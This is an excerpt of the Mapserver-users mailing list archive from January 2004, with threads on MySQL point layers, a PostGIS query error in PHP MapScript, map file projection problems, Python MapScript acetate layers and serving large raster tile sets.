----------------------------------------------------------------
############      Mit freundlichen Gruessen / Best Regards
############       Flavio Hendry- mailto:flavio at tydac.ch
############         TYDAC AG - http://www.tydac.ch
####    ####        Geographic Information Solutions
####    ####         Luternauweg 12 -- CH-3006 Bern
############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
----------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From morissette at dmsolutions.ca  Wed Jan 14 05:42:21 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 14 Jan 2004 08:42:21 -0500
Subject: [Mapserver-users] MapInfo to Mapserver with additional data	from
 MySQL
In-Reply-To: 
References: <0E2E03F75CEFD61195A200B0D07841911875D3@dns.cyber-media.co.uk> 
Message-ID: <4005473D.5000708@dmsolutions.ca>

Flavio Hendry wrote:
> 
>>2. We need to be able to plot OS Grid Points stored in the MySQL
>>database onto the maps when they are produced in MapServer.  (Is it 
>>possible to do this, or does map server only display data from the 
>>MapInfo export?)
> 
> 
> you should be able to create the point from MySQL ...
>  

BTW, it used to be that you had to use MapScript to plot your points 
coming from MySQL, but with the latest version of GDAL/OGR you can point 
to your MySQL tables directly, just as if they were shapefiles or TAB 
files, see:

http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From hjulien at nrcan.gc.ca  Wed Jan 14 05:43:34 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Wed, 14 Jan 2004 08:43:34 -0500
Subject: TR: [Mapserver-users] MySQL and Mapserver
Message-ID: <06B403677C41D51194550002A55107D201F78FA4@s5-stf1-r1.nrn.nrcan.gc.ca>

Thanks

H?ryk

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Tuesday, January 13, 2004 5:00 PM
? : Julien, Heryk
Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: TR: [Mapserver-users] MySQL and Mapserver


Maybe you missed it?

http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html

Cheers,

Paul

Julien, Heryk wrote:

> Hi Paul,
> Could you send me or post information on the "new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations"?
> 
> Thanks
> H?ryk
> 
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Monday, January 05, 2004 9:23 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: [Mapserver-users] MySQL and Mapserver
> 
> 
> Hi,
> I am also very interseted in that fonction. I would like to be able to map
> well positions from a database x and y colums. Would this permit me to
have
> an up to date point geometry layer which reflects the changes in my well
> database? Can you send me more details?
> 
> Thanks
> 
> H?ryk
> NRCan
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Saturday, January 03, 2004 4:28 PM
> ? : bartvde at xs4all.nl
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : Re: [Mapserver-users] MySQL and Mapserver
> 
> 
> Bart,
> 
> if you are interested in point geometries only, there is a new format in 
> OGR to set up a virtual layer that can draw columns from any ODBC data 
> source and map two of the columns to x and y locations.  We've used it 
> for a couple of clients and it works very nicely.  If you are interested 
> I can send you more details.
> 
> Cheers,
> 
> Paul
> 
> Bart van den Eijnden wrote:
> 
> 
>>Hi list,
>>
>>I see in the history log that there has been some work done recently 
>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>connector. Can it be used already?
>>
>>Also, is it possible to keep the geometries in shapefiles and use 
>>Mapserver JOINS to link to tables in MySQL?
>>
>>Thanks in advance for the info.
>>
>>Best regards,
>>Bart
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From ms57 at streamyx.com  Wed Jan 14 06:06:44 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Wed, 14 Jan 2004 22:06:44 +0800
Subject: [Mapserver-users] Measure tool
Message-ID: <001401c3daa7$a48b6be0$b1865fdb@clickntrac>

This is a multi-part message in MIME format.

--Boundary_(ID_HpJX7p3rmTR0W7x/R6nWQw)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

I am working with the "DHTML rubber band box" sample, found at  - 
  http://maps.dnr.state.mn.us/mapserver_demos/workshop

 I wish to implement a mouse mesuring tool that will return segment and cumulative distances. I see the JBox java applet can do this. 

The above example comes with a js file "DBox.js" which produces a dynamic rectangle for zoom in. Would you suggest changing entirely over to the JBox applet to achieve rubber-band zoom, mouse coordiantes and meaure tool? 



Thanks

--Boundary_(ID_HpJX7p3rmTR0W7x/R6nWQw)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT











I am working with the "DHTML rubber band box" 
sample, found at  - 



 


 I wish to implement a mouse mesuring tool 
that will return segment and cumulative distances. I see the JBox java 
applet can do this. 


 


The above example comes with a js file "DBox.js" which produces a dynamic 
rectangle for zoom in. Would you suggest changing entirely over to the JBox 
applet to achieve rubber-band zoom, mouse coordiantes and meaure tool? 



 


 


 


Thanks


--Boundary_(ID_HpJX7p3rmTR0W7x/R6nWQw)--


From kames at keyspanenergy.com  Wed Jan 14 07:04:41 2004
From: kames at keyspanenergy.com (Kieran J. Ames)
Date: Wed, 14 Jan 2004 10:04:41 -0500
Subject: [Mapserver-users] GPS Article from Ziff Davis
Message-ID: <40055A89.F9DEE88@keyspanenergy.com>

Thought this article from ziffdavis might be of interest to the group.

Motorola Licenses Technology from Apple Founder Wozniak

What's Woz been up to? Building a GPS tracking business in stealth
mode,  actually. But now the secret's out, as Motorola has licensed the
cool new technology, nicknamed WozNet. It's designed to track just about
anything, but how does it work? And what will Motorola do with it? We've
dug up a few shovels-full of dirt on the technology, including what
"Wheels of Zeus" means.

The wireless platform, dubbed "wOzNet" as a play on Wozniak's nickname,
uses a wireless tag that picks up signals from global positioning
satellites, then transmits that information up to several miles to a
base station or other receiving device using a low-power radio
signal?the same spectrum used by many cordless phones.

http://eletters.wnn.ziffdavis.com/zd1/cts?d=75-113-1-1-406599-4926-1



From keon at nacse.org  Wed Jan 14 07:56:01 2004
From: keon at nacse.org (Dylan Keon)
Date: Wed, 14 Jan 2004 07:56:01 -0800
Subject: [Mapserver-users] Error when querying PostGIS layer
Message-ID: <40056691.9010503@nacse.org>

I'm having trouble querying a PostGIS layer via PHP Mapscript.  The 
layer renders fine in the app and labels get generated, etc.  But I get 
an error when trying to query the layer.  It fails when it reaches 
getShape() - if I comment out that line everything else works.  Also, if 
I run this code on a shapefile version of the same layer it works fine.

I'm using MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.  Thanks for 
any help.

--Dylan

----------------------------------------------------------------------

 From the apache error log:

PHP Warning:  [MapServer Error]: msDrawMap(): Failed to draw layer named
'quad_index_24k'.
  in /opt/httpd/htdocs/test.php on line 132
PHP Warning:  [MapServer Error]: prep_DB(): Error executing POSTGIS
DECLARE (the actual query) statement: 'DECLARE mycursor BINARY CURSOR 
FOR SELECT 
nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text 
from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
577205)'::BOX3D, find_srid('','quad24k','the_geom') )' 



Postgresql reports the error ''



More Help:



Error with POSTGIS data variable. You specified '<check your .map 
file>'.

Standard ways of specifiying are : 

(1) 'geometry_column from geometry_table' 

(2) 'geometry_column from (<sub query>) as foo using unique 
<column name> using SRID=<srid#>' 



Make sure you put in the 'using unique  <column name>' and 'using
SRID=#' clauses in.



For more help, please see
http://postgis.refractions.net/documentation.php



Mappostgis.c - version of June 12/2003.

in /opt/httpd/htdocs/test.php on line 132
PHP Fatal error:  Call to a member function on a non-object in 
/opt/httpd/htdocs/test.php on line 133

----------------------------------------------------------------------

// simple function for testing postgis layer query
function doQuery($map, $map_x, $map_y, $last_extent)
{
         $layer = $map->getLayerByName('quad_index_24k');
         $coords = pix2geo($map, $map_x, $map_y, $last_extent);
         $geo = preg_split("/,/", $coords);

         // create point object
         $click_pt = ms_newPointObj();
         $click_pt->setXY($geo[0], $geo[1]);

         // query the map at the point clicked
         @$map->queryByPoint($click_pt, MS_SINGLE, -1);
         $count_results = $layer->getNumResults();
echo "count_results = $count_results
\n";

         if($count_results > 0) {
                 $layer->open();
                 $result = $layer->getResult(0);
echo "
getResult:
"; print_r($result); ech "
";
                 $resultShape = $layer->getShape(-1,$result->shapeindex);
echo "
getShape:
"; print_r($resultShape); echo "
";
         } else echo "No records returned";

         $click_pt->free();
         $resultShape->free();
}

----------------------------------------------------------------------

LAYER
   NAME quad_index_24k
   TYPE POLYGON
   CONNECTIONTYPE POSTGIS
   CONNECTION "user=read dbname=oregon"
   DATA "the_geom from quad24k"
   STATUS ON
   MAXSCALE 2400000
   LABELMAXSCALE 600000
   LABELMINSCALE 20000
   TEMPLATE "null"
   CLASS
     OUTLINECOLOR 0 25 140
     COLOR -1 -1 -1
     COLOR 190 230 190
     TEXT ([name] [nf1])
     LABEL
       WRAP " "
       POSITION CC
       SIZE SMALL
       BUFFER 50
       FORCE TRUE
       MINFEATURESIZE 35
     END
   END
END

----------------------------------------------------------------------




From stephen.clark at focus.ca  Wed Jan 14 09:13:08 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Wed, 14 Jan 2004 09:13:08 -0800
Subject: [Mapserver-users] Projection trouble
References: <4004203E.6030406@libero.it> <006f01c3da00$ef176990$6c000a0a@sclark> <40051C50.8060404@libero.it>
Message-ID: <004e01c3dac1$ae99e390$6c000a0a@sclark>

please post your map file to help me.



----- Original Message ----- 
From: "opengis_libero" 
Cc: 
Sent: Wednesday, January 14, 2004 2:39 AM
Subject: Re: [Mapserver-users] Projection trouble


> Stephen,
> 
> >TRY
> >
> >  METADATA
> >    WMS_TITLE "Your title "
> >    WMS_SRS "EPSG:26932"
> >  END
> >
> >in your layer
> >  
> >
> Your suggest doesn't work fine: I've always blank map.
> 
> In attachement you can find shape file (like TeleAtlas data -- Polygon 
> of County or Parish) with *.prj file.
> 
> Does  anyone can help me to use this shape with mapserver?
> 
> My environment:
> win2000
> Apache
> MapServer version 3.6.3 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP 
> SUPPORTS=PROJ
> SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=EPPL7 
> INPUT=POSTGIS
> INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
> 
> c:\proj
> 
> Secondary question:
> How can test if my Proj4 work fine?
> 
> 
> 


From TMitchell at lignum.com  Wed Jan 14 08:29:42 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Wed, 14 Jan 2004 08:29:42 -0800
Subject: [Mapserver-users] Dataset with 120'000 tiles
In-Reply-To: 
Message-ID: 





Hi there, I haven't used that much data before, but can you tell us what
format your rasters are in and also whether or not you have to leave them
in that format?  There are some good ways to optimize imagery that
shouldn't make it a problem to use mapserver for your dataset.

Tyler

mapserver-users-admin at lists.gis.umn.edu wrote on 01/13/2004 10:49:10 PM:

> hi list
>
> anybody worked with such a dataset (120'000 raster tiles) ?
> are there any performance issues ?
>
> thx.
>
> Mit freundlichem Gruss / Best Regards
> Flavio Hendry
>
> ----------------------------------------------------------------
> ++++++++++ Neue Neapoljs Seiten auf www.neapoljs.com +++++++++++
> ----------------------------------------------------------------
> ############      Mit freundlichen Gruessen / Best Regards
> ############       Flavio Hendry- mailto:flavio at tydac.ch
> ############         TYDAC AG - http://www.tydac.ch
> ####    ####        Geographic Information Solutions
> ####    ####         Luternauweg 12 -- CH-3006 Bern
> ############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
> ----------------------------------------------------------------
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From TMitchell at lignum.com  Wed Jan 14 08:33:03 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Wed, 14 Jan 2004 08:33:03 -0800
Subject: [Mapserver-users] (no subject)
In-Reply-To: 
Message-ID: 





Hi again,
I'm just having a little trouble understanding what you mean when you say
"static"  versus "dynamic".  So do you believe that mapserv.exe is running
correctly and that you just have problems with viewing the data?  Are maps
images being created in your temporary folder.  Perhaps you could show us a
copy of your .map file too.

Tyler

Montoya Mart?n del Campo Miguel Angel  wrote
on 01/14/2004 09:19:00 AM:

> Tyler:
>
> mapserv.exe is in the cgi-bin folder. I can see statics maps in my
machine,
> and in clients connected to my machine via intranet. Two things are
wrong:
> first: in my machine i can only view dynamic maps in Internet Explorer,
it
> does not work in, Netscape. Second: when i try in a pc in the intranet, i
> cannot see dynamic maps, just static maps, even if i work with internet
> explorer.
>
> I don't know if is there a problem with Netscape because the temp maps
are
> generated and archived in the pc that works like server.
>
> Thank you very much for your help.
>
> Miguel Angel
>
> -----Mensaje original-----
> De: Tyler Mitchell [mailto:TMitchell at lignum.com]
> Enviado el: Martes, 13 de Enero de 2004 02:18 p.m.
> Para: Montoya Mart?n del Campo Miguel Angel
> CC: mapserver-users at lists.gis.umn.edu
> Asunto: Re: [Mapserver-users] (no subject)
>
>
>
>
>
>
>
> Miguel,
> Are you able to view any maps or do you get errors?
> Do you have the mapserv.exe file saved in your apache cgi-bin folder?
>
> Let us know more details about your problems and we'll help you out.
>
> Tyler
>
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/13/2004 09:03:00 AM:
>
> > I am learning Mapserver. All the demos work ok, except those with
dynamic
> > maps. I have a pc with Apache and Windows 98. The result maps are
> > generated in the machine that works like server, but they are not sent
> back
> > to the
> > client machines in my intranet.
> > Is there something that i am missing respect Apache?
> > Thak you very much for your help.
> >
> > Miguel Angel
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From opengis at libero.it  Wed Jan 14 08:51:28 2004
From: opengis at libero.it (opengis_libero)
Date: Wed, 14 Jan 2004 17:51:28 +0100
Subject: [Mapserver-users] Projection trouble
In-Reply-To: <004e01c3dac1$ae99e390$6c000a0a@sclark>
References: <4004203E.6030406@libero.it> <006f01c3da00$ef176990$6c000a0a@sclark> <40051C50.8060404@libero.it> <004e01c3dac1$ae99e390$6c000a0a@sclark>
Message-ID: <40057390.9010603@libero.it>

Stephen

>please post your map file to help me.
>  
>
My map file is very simple:

NAME MyMap
STATUS ON
SIZE 600 330
EXTENT 806450 4688906 834120 4710677
UNITS DD
SHAPEPATH "data"
FONTSET "./data/fonts.txt"
IMAGECOLOR -1 -1 -1

PROJECTION
    "init=epsg:4318"
#    proj=utm
#    zone=32
#    ellps=WGS84
#    datum=WGS84
#    a=6378249.200
#    b=6356515.000
#    towgs84=-263,6,431,0,0,0,0
#    units=dd
   
#        proj=tmerc
#        ellps=WGS84
#        zone=32
#        "north"
#        "no_defs"
#    "proj=32761"
#    proj=latlong
#    ellps=clrk66
      END
   
WEB
  TEMPLATE main.html
  HEADER main.html
  IMAGEPATH ../tmp/
  IMAGEURL ../tmp/ 
END

QUERYMAP
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

LEGEND
  KEYSIZE 18 12
  OUTLINECOLOR 0 0 0
  TRANSPARENT ON
  LABEL
    TYPE BITMAP
    SIZE MEDIUM
    COLOR 0 0 89
  END
  STATUS ON
END

#
# Start of scalebar
#
SCALEBAR
  IMAGECOLOR 0 0 0
  LABEL
    COLOR 0 0 0
    SIZE tiny   
  END
  STYLE 1
  SIZE 80 2
  COLOR 0 0 0
  UNITS METERS
  INTERVALS 1
  TRANSPARENT TRUE
  STATUS TRUE
END

LAYER
    NAME Adminbndy4_region
    DATA Ri_pd
    STATUS ON
    TYPE POLYGON
#    PROJECTION
#        geographic
#    END
# ERROR OUTPUT:
# msProcessProjection(): Projection library error. PROJECTION 
'GEOGRAPHIC' no longer supported. Provide explicit definition. ie. 
proj=latlong ellps=clrk66

    CLASS
        NAME 'Provincia'
        COLOR 220 220 255
        MAXSCALE 800001
#        MINSCALE 100000
    END
#    METADATA
#        WMS_TITLE "Your title "
#        "wms_srs" "EPSG:4326"
#    END


END


END



From spoerri at duke.edu  Wed Jan 14 08:50:24 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Wed, 14 Jan 2004 11:50:24 -0500
Subject: [Mapserver-users] mapscript - strange behavior
In-Reply-To: 
References: <4004203E.6030406@libero.it> <200401131238.52884.spoerri@duke.edu> 
Message-ID: <200401141150.24946.spoerri@duke.edu>

One thing I wanted to add: the reason I need to create the 'acetate' layer on 
the fly is that I'm mapping different layer types (point, line, polygon) and 
therefore the classes change. I'm using a pin as point marker, and red lines 
for lines/polygons.

BTW, when mapping lines, the first feature (line) does not display with the 
correct class either (at least it shows though). So does anybody know what 
the problem actually is with not showing the first feature correctly or not 
at all? 

Thanks, Christoph

On Tuesday 13 January 2004 02:28 pm, Sean Gillies wrote:
> On Jan 13, 2004, at 10:38 AM, Christoph Spoerri wrote:
> > Hi there,
> >
> > I'm writing an application that let's user add point features to the
> > map by
> > clicking on any location of the map. For this purpose I'm using the
> > attached
> > code (Note: each click on the map results in a request to the server
> > for a
> > new image).
> >
> > The problem is that the first point (to be mapped) is not displayed on
> > the
> > map. Yet when the user clicks on the map for the second time (to add a
> > new
> > point) both points show up. When checking the .map files everything
> > looks
> > fine: acetate layer is there, class definition looks fine and point
> > coordinates are there.
> >
> > In case a predefine the acetate layer (w/ class def) in the base .map
> > file,
> > the first point shows up just fine. Note: this solution is not an
> > option
> > thought :(
> >
> > any ideas? Thanks in advance,
> > Christoph
> >
> >
> > *********** code ********************
> >
> > 	x = atof(param['x'])
> > 	y = atof(param['y'])
> > 	# create point object
> >  	ptCoord = getMapPoint([x,y],self._map)
> >  	ptObj = pointObj()
> >  	ptObj.x=ptCoord[0]
> >  	ptObj.y=ptCoord[1]
> > 	lnObj = lineObj()
> > 	lnObj.add(ptObj)
> >
> > 	# create new point layer with class and add shape
> > 	mapImg=self._map.prepareImage()
> > 		lyrAcetate = self._map.getLayerByName('acetate')
> > 	if (not isinstance(lyrAcetate,layerObj)):
> > 		color = colorObj()
> > 		color.red = 255
> > 		color.green = 255
> > 		color.blue = 255
> > 		lyrAcetate = layerObj(self._map)
> > 		lyrAcetate.name = "acetate"
> > 		lyrAcetate.type = MS_LAYER_POINT
> > 		classTemp = classObj(lyrAcetate)
> > 		styl = styleObj()
> > 		styl.symbolname = "pin"
> > 		styl.size = 1
> > 		styl.maxsize = 1
> > 		styl.minsize = 1
> > 		styl.color = color
> > 		styl.backgroundcolor = color
> > 		styl.outlinecolor = color
> > 		classTemp.numstyles=1
> > 		classTemp.styles = styl
> >
> > 	# create shape object and add point to shape object
> > 	shpObj = shapeObj(MS_SHAPE_POINT)
> > 	shpObj.add(lnObj)
> > 	shpObj.setBounds();
> > 	shpObj.index = 1
> >
> > 	lyrAcetate.status = MS_ON
> > 	lyrAcetate.addFeature(shpObj)
> > 	lyrAcetate.draw(self._map,mapImg)
> >
> > 	imagename =   \
> > self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format.e
> > xtension
> > 	mapImg.save(mapImg.imagepath+imagename)
>
> Christoph,
>
> Do I remember correctly that you are using mod_python?  Is this a reason
> why you say that you cannot predefine your acetate layer?  I hope you
> are
> not trying to persist a mapObj in the same way that mod_python users use
> persistent database connections.  MapServer is not fully thread-safe
> (yet)
> and so you will certainly encounter some trouble with a persistent
> mapObj.
>
> I don't see _anything_ in your code that would prevent the acetate layer
> from being predefined in your map file.  If it is only a matter of
> colors and styles, I strongly recommend that you predefine the acetate
> layer and then modify its classes and styles during the script
> execution.
>
> cheers,
> Sean
>
> --
> Sean Gillies
> sgillies at frii dot com
> http://users.frii.com/sgillies



From David.Fawcett at state.mn.us  Wed Jan 14 09:10:59 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Wed, 14 Jan 2004 11:10:59 -0600
Subject: [Mapserver-users] Projection trouble
Message-ID: 

On first glance, it looks to me like you may have an issue with your
units.  The numbers in EXTENT look like meters for a UTM projection, but
in UNITS you have listed decimal degrees.  I haven't played with
projections much, so I can't go much beyond that.  

David.

David J. Fawcett
MN Office of Environmental Assistance

>>> opengis_libero  1/14/2004 10:51:28 AM >>>
Stephen

>please post your map file to help me.
>  
>
My map file is very simple:

NAME MyMap
STATUS ON
SIZE 600 330
EXTENT 806450 4688906 834120 4710677
UNITS DD
SHAPEPATH "data"
FONTSET "./data/fonts.txt"
IMAGECOLOR -1 -1 -1

PROJECTION
    "init=epsg:4318"
#    proj=utm
#    zone=32
#    ellps=WGS84
#    datum=WGS84
#    a=6378249.200
#    b=6356515.000
#    towgs84=-263,6,431,0,0,0,0
#    units=dd
   
#        proj=tmerc
#        ellps=WGS84
#        zone=32
#        "north"
#        "no_defs"
#    "proj=32761"
#    proj=latlong
#    ellps=clrk66
      END
   
WEB
  TEMPLATE main.html
  HEADER main.html
  IMAGEPATH ../tmp/
  IMAGEURL ../tmp/ 
END

QUERYMAP
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

LEGEND
  KEYSIZE 18 12
  OUTLINECOLOR 0 0 0
  TRANSPARENT ON
  LABEL
    TYPE BITMAP
    SIZE MEDIUM
    COLOR 0 0 89
  END
  STATUS ON
END

#
# Start of scalebar
#
SCALEBAR
  IMAGECOLOR 0 0 0
  LABEL
    COLOR 0 0 0
    SIZE tiny   
  END
  STYLE 1
  SIZE 80 2
  COLOR 0 0 0
  UNITS METERS
  INTERVALS 1
  TRANSPARENT TRUE
  STATUS TRUE
END

LAYER
    NAME Adminbndy4_region
    DATA Ri_pd
    STATUS ON
    TYPE POLYGON
#    PROJECTION
#        geographic
#    END
# ERROR OUTPUT:
# msProcessProjection(): Projection library error. PROJECTION 
'GEOGRAPHIC' no longer supported. Provide explicit definition. ie. 
proj=latlong ellps=clrk66

    CLASS
        NAME 'Provincia'
        COLOR 220 220 255
        MAXSCALE 800001
#        MINSCALE 100000
    END
#    METADATA
#        WMS_TITLE "Your title "
#        "wms_srs" "EPSG:4326"
#    END


END


END

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From sgillies at frii.com  Wed Jan 14 09:32:21 2004
From: sgillies at frii.com (Sean Gillies)
Date: Wed, 14 Jan 2004 10:32:21 -0700
Subject: Adding features to new layerObj (Re: [Mapserver-users] mapscript - strange behavior)
In-Reply-To: <200401141150.24946.spoerri@duke.edu>
References: <4004203E.6030406@libero.it> <200401131238.52884.spoerri@duke.edu>  <200401141150.24946.spoerri@duke.edu>
Message-ID: <9BAC69B6-46B7-11D8-A887-000393B98B56@frii.com>

Cristoph,

I haven't been using inline features of a layer like you are doing,
so I don't know yet if there are any problems with it.  I have changed
the subject line of the message to see if we can attract other users
with experience.

The method I have used is to define a layer like your acetate layer,
and then used the draw method of point or shape objects.  Here's an
example of how I do this using an acetate layer named 'copyright':

     # Draw copyright label
     layerobj = mapobj.getLayerByName('copyright')
     layerobj.status = MS_ON
     layerobj.getClass(0).label.position = MS_UR
     p = pointObj()
     p.x, p.y = (1, mapobj.height-1)
     p.draw(mapobj, layerobj, imgobj, 0, copyright_text)

I still think that you could predefine acetate layers in your map file
for each of point, line, and polygons.  In my opinion, your application  
may
benefit from having as many as possible of the map element styles  
defined
in the map file.  Try to seperate the logic (your Python code) from
the presentation (the classes and styles defined in the map file) as
much as possible.

OK, enough advice from me :)  Let's see if anyone with experience using
a layerObj's addFeature will join in and help you.

cheers,
Sean

On Jan 14, 2004, at 9:50 AM, Christoph Spoerri wrote:

> One thing I wanted to add: the reason I need to create the 'acetate'  
> layer on
> the fly is that I'm mapping different layer types (point, line,  
> polygon) and
> therefore the classes change. I'm using a pin as point marker, and red  
> lines
> for lines/polygons.
>
> BTW, when mapping lines, the first feature (line) does not display  
> with the
> correct class either (at least it shows though). So does anybody know  
> what
> the problem actually is with not showing the first feature correctly  
> or not
> at all?
>
> Thanks, Christoph
>
> On Tuesday 13 January 2004 02:28 pm, Sean Gillies wrote:
>> On Jan 13, 2004, at 10:38 AM, Christoph Spoerri wrote:
>>> Hi there,
>>>
>>> I'm writing an application that let's user add point features to the
>>> map by
>>> clicking on any location of the map. For this purpose I'm using the
>>> attached
>>> code (Note: each click on the map results in a request to the server
>>> for a
>>> new image).
>>>
>>> The problem is that the first point (to be mapped) is not displayed  
>>> on
>>> the
>>> map. Yet when the user clicks on the map for the second time (to add  
>>> a
>>> new
>>> point) both points show up. When checking the .map files everything
>>> looks
>>> fine: acetate layer is there, class definition looks fine and point
>>> coordinates are there.
>>>
>>> In case a predefine the acetate layer (w/ class def) in the base .map
>>> file,
>>> the first point shows up just fine. Note: this solution is not an
>>> option
>>> thought :(
>>>
>>> any ideas? Thanks in advance,
>>> Christoph
>>>
>>>
>>> *********** code ********************
>>>
>>> 	x = atof(param['x'])
>>> 	y = atof(param['y'])
>>> 	# create point object
>>>  	ptCoord = getMapPoint([x,y],self._map)
>>>  	ptObj = pointObj()
>>>  	ptObj.x=ptCoord[0]
>>>  	ptObj.y=ptCoord[1]
>>> 	lnObj = lineObj()
>>> 	lnObj.add(ptObj)
>>>
>>> 	# create new point layer with class and add shape
>>> 	mapImg=self._map.prepareImage()
>>> 		lyrAcetate = self._map.getLayerByName('acetate')
>>> 	if (not isinstance(lyrAcetate,layerObj)):
>>> 		color = colorObj()
>>> 		color.red = 255
>>> 		color.green = 255
>>> 		color.blue = 255
>>> 		lyrAcetate = layerObj(self._map)
>>> 		lyrAcetate.name = "acetate"
>>> 		lyrAcetate.type = MS_LAYER_POINT
>>> 		classTemp = classObj(lyrAcetate)
>>> 		styl = styleObj()
>>> 		styl.symbolname = "pin"
>>> 		styl.size = 1
>>> 		styl.maxsize = 1
>>> 		styl.minsize = 1
>>> 		styl.color = color
>>> 		styl.backgroundcolor = color
>>> 		styl.outlinecolor = color
>>> 		classTemp.numstyles=1
>>> 		classTemp.styles = styl
>>>
>>> 	# create shape object and add point to shape object
>>> 	shpObj = shapeObj(MS_SHAPE_POINT)
>>> 	shpObj.add(lnObj)
>>> 	shpObj.setBounds();
>>> 	shpObj.index = 1
>>>
>>> 	lyrAcetate.status = MS_ON
>>> 	lyrAcetate.addFeature(shpObj)
>>> 	lyrAcetate.draw(self._map,mapImg)
>>>
>>> 	imagename =   \
>>> self._map.name+mapSession.id()+"_"+str(int(time()))+"."+mapImg.format 
>>> .e
>>> xtension
>>> 	mapImg.save(mapImg.imagepath+imagename)
>>
>> Christoph,
>>
>> Do I remember correctly that you are using mod_python?  Is this a  
>> reason
>> why you say that you cannot predefine your acetate layer?  I hope you
>> are
>> not trying to persist a mapObj in the same way that mod_python users  
>> use
>> persistent database connections.  MapServer is not fully thread-safe
>> (yet)
>> and so you will certainly encounter some trouble with a persistent
>> mapObj.
>>
>> I don't see _anything_ in your code that would prevent the acetate  
>> layer
>> from being predefined in your map file.  If it is only a matter of
>> colors and styles, I strongly recommend that you predefine the acetate
>> layer and then modify its classes and styles during the script
>> execution.
>>
>> cheers,
>> Sean
>>
>> --
>> Sean Gillies
>> sgillies at frii dot com
>> http://users.frii.com/sgillies
>



From MHoward at spaceimaging.com  Wed Jan 14 09:33:11 2004
From: MHoward at spaceimaging.com (Howard Mark)
Date: Wed, 14 Jan 2004 10:33:11 -0700
Subject: [Mapserver-users] Dataset with 120'000 tiles
Message-ID: <13685000AB02F2479DF2C632B9B1988E16C0D0@imager8.corp.spaceimaging.com>

Yes, I have a tiled raster set with 360,000 images. The images represent a layer that is the best of our browse archive.
The images are ~16 meter resolution, various sizes. All about 11 km^2 --  and are representative images of our 1 meter product. 
I have created 4 aggreate layers. Here are my scale values:
Full res layer
	MINSCALE 1
	MAXSCALE 100000 
0.5x0.5 layer:
	MINSCALE 100000
	MAXSCALE 1000000    
2.0x20 layer
	MINSCALE 1000000
	MAXSCALE 5000000    
10x10 layer
	MINSCALE 5000000
	MAXSCALE 50000000    
 30x30 layer
	MINSCALE 50000000
	MAXSCALE 1000000000    
 
Performance is OUTSTANDING - no more than 3-4 secs response time anywhere in the world at any scale... and that's on the full res images where there's overlap. 
Note that all the data is 8 bit grayscale JPG. Your mileage may vary.

Mark



-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Flavio Hendry
Sent: Tuesday, January 13, 2004 11:49 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Dataset with 120'000 tiles

hi list

anybody worked with such a dataset (120'000 raster tiles) ?
are there any performance issues ?

thx.

Mit freundlichem Gruss / Best Regards
Flavio Hendry

----------------------------------------------------------------
++++++++++ Neue Neapoljs Seiten auf www.neapoljs.com +++++++++++
----------------------------------------------------------------
############      Mit freundlichen Gruessen / Best Regards
############       Flavio Hendry- mailto:flavio at tydac.ch
############         TYDAC AG - http://www.tydac.ch
####    ####        Geographic Information Solutions
####    ####         Luternauweg 12 -- CH-3006 Bern
############   Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860
----------------------------------------------------------------

